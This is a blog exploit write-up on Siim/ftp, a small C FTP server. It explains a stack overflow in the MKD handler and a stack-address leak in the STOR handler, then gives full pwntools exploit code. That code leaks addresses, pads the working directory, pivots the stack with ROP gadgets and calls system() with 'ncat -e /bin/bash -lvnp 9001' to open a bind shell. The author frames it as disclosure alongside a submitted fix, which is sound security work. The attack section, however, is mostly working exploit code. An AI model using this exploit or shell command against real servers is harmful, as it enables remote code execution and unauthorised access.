Git Rekt #1 – Siim/ftp

The idea

After doing the writeup for the iCTF babyshop challenge I’ve been unsure what to write about, even though I felt like I wanted to write about something. Sadly I can’t write about most work related things.
So I figured I’d just pick projects on github and if I find a flaw that I can exploit I’ll do writeups.

Siim/ftp

I came across Siim/ftp while I was looking at small ftp servers written in C. It has several issues some of which were already reported by the github user luojiaqs almost a year ago, but didn’t receive any attention by the developer. I feel it’s fair to release an exploit for these now, especially since I’ve also submitted a pull request with fixes.

I will present a working exploit against the 32-bit version of this ftp server. I wasn’t able to exploit the 64-bit version due to some constraints on 0 bytes in the payload.

ftp_mkd overflow

Below is a snippet of the original code. I’ve highlighted the relevant lines for the first vulnerability.
The issue here is that the result buffer is BSIZE bytes large. But the length of the string representing the current directory can already be that large. So we can overflow up to BSIZE+32 bytes on the stack here. That means if we can manage to make the current working directory (cwd) almost as long as the maximum BSIZE we should be able to overflow the stack.

void ftp_mkd(Command *cmd, State *state)
{
  if(state->logged_in){
    char cwd[BSIZE];
    char res[BSIZE];
    memset(cwd,0,BSIZE);
    memset(res,0,BSIZE);
    getcwd(cwd,BSIZE);

    /* TODO: check if directory already exists with chdir? */

    /* Absolute path */
    if(cmd->arg[0]=='/'){
      if(mkdir(cmd->arg,S_IRWXU)==0){
        strcat(res,"257 \"");
        strcat(res,cmd->arg);
        strcat(res,"\" new directory created.\n");
        state->message = res;
      }else{
        state->message = "550 Failed to create directory. Check path or permissions.\n";
      }
    }
    /* Relative path */
    else{
      if(mkdir(cmd->arg,S_IRWXU)==0){
        sprintf(res,"257 \"%s/%s\" new directory created.\n",cwd,cmd->arg);
        state->message = res;
      }else{
        state->message = "550 Failed to create directory.\n";
      }
    }
  }else{
    state->message = "500 Good news, everyone! There's a report on TV with some very bad news!\n";
  }
  write_state(state);
}

This lends itself to a very basic ROPchain or ret2libc attack with the only restrictions being that our payload must be a valid directory name.
On top of that we need to get an information leak as well, to be able to actually complete our exploit.
Luckily there’s the

ftp_stor Information leak

The usual structure of the programs handlers is to set the state->message pointer to point at the response and then call write_state(state) to send the message back to the client.

This is usually fine even if the message resides on the stack, because it is used while the stack frame still exists.
When trying to store a file, that the server can not open a handle for, no new message is set though.

void ftp_stor(Command *cmd, State *state)
{
  if(fork()==0){
//[SNIP]

    FILE *fp = fopen(cmd->arg,"w");

    if(fp==NULL){
      /* TODO: write status message here! */
      perror("ftp_stor:fopen");
    }else if(state->logged_in){
//[SNIP]
    }
    close(connection);
    write_state(state);
    exit(EXIT_SUCCESS);
  }
  state->mode = NORMAL;
  close(state->sock_pasv);

}

That means that when write_state is called in line 15 , the message pointer still points to its last location, which can be on the stack. The stack address is not valid after the function that created it returns, so this is a use after free (UAF) of that memory.

In practice this means that we can leak several addresses from the stack in order to defeat PIE (position independent execution) and ASLR (address space layout randomization). I’ve provided some example output below.

[+] Opening connection to 127.0.0.1 on port 8021: Done
Trying to leak info
0xff808268
0x28
0xff808220
0xf7cb4777
0x56d979e0                                                                                                                                                                                                        
0x56d979e0                                                                                                                                                                                                        
0x5663b6c4                                                                                                                                                                                                        
0xf7c30a09                                                                                                                                                                                                        
0xff7e8af0
0xf7bcc000
0x56638000

As you can see in the highlighted lines above, we’ve most likely leaked all we could want. An address of the stack, of libc, and of the program itself. This let’s us calculate base addresses for all of them to help us find further gadgets.

The plan of attack

It all seemed straightforward enough, so I formulated my original plan of attack.

  1. Leak addresses to figure out where everything is
  2. Figure out the current length of the working directory
  3. Create new directories and change into them until our current working directory is almost long enough to overflow
  4. Overwrite the return address and execute a rop chain.
  5. Profit!

This is what I originally attempted. But I ran into some issues with it. Some due to bad characters in the file and some due to the length limit on directories names. This is the main reason this exploit only works in 32-bits. 0 Bytes are basically unavoidable in a 64-bit exploit and partial overwrites are very unlikely to work because the end of the overflowing messages is fixed.
This could probably work with more elbow grease, but there’s another potentially easier way.
The input buffer of the program reads directly from a socket and into a buffer. This read doesn’t have any bad characters – even 0 bytes are fine.
This caused me to opt for this slightly altered plan of attack.

  1. Leak addresses to figure out where everything is
  2. Figure out the current length of the working directory
  3. Create new directories and change into them until our current working directory is almost long enough to overflow
  4. Overwrite the return address and execute a short rop chain to move the stack into the input buffer
  5. Execute the actual ROP chain in the input buffer.
  6. Profit!

Putting it together

When working with a program that takes different commands I usually start with several helper functions to make my life easier and the code easier to read. Also I tend to use pwntools just to make my life a bit easier too.

from pwn import *

r = remote("127.0.0.1", 8021)
BSIZE = 1024
           
def get_response():
        return r.recvuntil("\n")
                                        
def login():
        r.sendline("USER anonymous")
        get_response()      
        r.sendline("PASS test")
        get_response()
                                 
def pwd():                      
        r.sendline("PWD")
        data = get_response()
        return data[5:-2]             

def mkd(name):                     
        r.sendline("MKD %s"%(name))
        print get_response()  

def cwd(name):       
        r.sendline("CWD %s"%(name))
        print get_response()

def size(name):      
        r.sendline("SIZE %s"%(name))
        get_response()                                

def leak():                    
        r.sendline("STOR /a/b/c")                            
        r.sendline("")
        data = r.recvuntil("500")
        get_response()
        return data[:-3]

Then after connecting to the service, I’ll want to know the length of our current directory for our next step. Then extract addresses we can leak from ftp_stor and calculate each corresponding base address using information I’ve extracted from debugging the program while leaking the addresses (the offset variables in the code contain the offset from the leaked address to the base).

get_response()                         
login()
#Getting current working directory for later                        
curr = pwd() 

#Calculating base addresses from leaks                         
print "Trying to leak info"
                           
size("ftp")
data = leak()
for i in range(0,8):             
        print(hex(u32(data[4*i:4*i+4])))

stack_leak = u32(data[0:4])
libc_leak = u32(data[12:16])
pie_leak = u32(data[24:28])

stack_off = 0xff9a6778-0xff987000
libc_off = 0xf7cdf777-0xf7bf7000
pie_off = 0x36c4
trigger_esp = 0xff9a67c0
trigger_off = trigger_esp - 0xff987000

stack_base = stack_leak - stack_off
libc_base = libc_leak - libc_off
prog_base = pie_leak - pie_off

print hex(stack_base)
print hex(libc_base)
print hex(prog_base)

With this out of the way we are now ready to prepare the overflow and build the payload. Since we have the ability to create new directories we can make our current working directory arbitrarily long. The next bit of code creates new directories to reach a specific target length. This is mainly to fix the position where the overflow occurs.
There are some restrictions on how long a directory can be and which characters it can contain, this isn’t an issue at this stage, but will become problematic for the payload later.

mkd_prefix = "257 \""
mkd_suffix = "/"
target_size = BSIZE-len(mkd_prefix)-len(mkd_suffix)-64

extra = target_size - len(curr)
print "CWD is %d bytes long, need %d extra"%(len(curr),extra)

max_dir_len = 128
while extra > 0:
        create_len = min(extra, max_dir_len-1)
        if create_len == max_dir_len-1:
                extra -= create_len-1
        else:
                extra = 0
        mkd("A"*create_len)
        cwd("A"*create_len)

At this point in the exploit we should be just under the maximum length, so the next directory that gets created will trigger the overflow in ftp_mkdir. So we need to create a directory whose name will work for the ROP chain.

When starting a ROP chain I usually just gather potentially interesting gadgets first.
Below is the little zoo of potentially interesting gadgets that I’ve used at points during the trial and error phase. The highlighted values are the only ones actually used in the final exploit.

pop_esi_edi_ebp = p32(prog_base+0x000020f8)
one_gadget = p32(libc_base+0x3eae8)
lea_esp_pop_ebx_edi_ebp = p32(prog_base+0x0000279a)
system = p32(libc_base+0x0003ec00)
pop_ebx = p32(prog_base+0x0000101e)
pop_ebp = p32(prog_base+0x000020fa)
add_eax_ebx_jmp_eax = p32(prog_base+0x00001cff)
pop_esi_edi_ebp = p32(prog_base+0x000020f8)
#Scratch memory, only used to prevent crash
scratch = stack_base+0x1450 
#The ebp target address that we want to set to pivot into the input buffer
target_ebp = stack_base+trigger_off+0xd0

Now all that’s left is to build the payload. As outlined in the previous section the plan is to pivot into the input buffer to circumvent restrictions on the payload imposed by having to create a directory and not being able to use 0 bytes.

payload = "B"*57+p32(target_ebp)+lea_esp_pop_ebx_edi_ebp+"C"*4
payload += p32(scratch)+"c"*(55-11)
#Scratch here corresponds to the state variable, if it's not set
#sensibly/read/writeable the ftp_mkdir function crashes before returning.
#Because of the suffix in the return message we need to explicitly set it ourselves, to make sure it has a sensible value.
#   2b10:       ff 75 0c                pushl  0xc(%ebp) <-- scratch
#   2b13:       e8 db ee ff ff          call   19f3 <write_state>
payload += "\x00"

This is the first part of the payload. All it does is move esp to point into the input buffer rather than the command buffer used in the mkdir command. The parsing of the input buffer will also cut anything behind the zero byte off, but still leave it in the input buffer, so there’s no need to worry about bad chars after this.
The payload works by using the following gadget from the ftp_mkdir function twice.

    279a:       8d 65 f8                lea    -0x8(%ebp),%esp
    279d:       5b                      pop    %ebx
    279e:       5f                      pop    %edi
    279f:       5d                      pop    %ebp
    27a0:       c3                      ret

On the original return from ftp_mkdir on the first buffer overflow target_ebp will overwrite ebp through the pop ebp instruction and ret will jump back to 0x279a.
Then lea will move the stack into the target_ebp position in the input buffer.
Now we can build the rest of the payload easily on the stack.

payload += "X"*(0x20-0x6) #Padding
payload += p32(target_ebp+0x8)*3 #The start of this line is target_ebp-8
payload += system
payload += p32(target_ebp+0xc)
payload += p32(target_ebp+0x10)
payload += "ncat -e /bin/bash -lvnp 9001"

Since this payload exists in the input buffer we can use arbitrary bytes here.
The rest of the payload just sets up parameters and calls system with “ncat…” as its parameter spawning a bind shell on port 9001, but can easily be altered to execute arbitrary shell commands. And voila:

Leave a Reply

Your email address will not be published. Required fields are marked *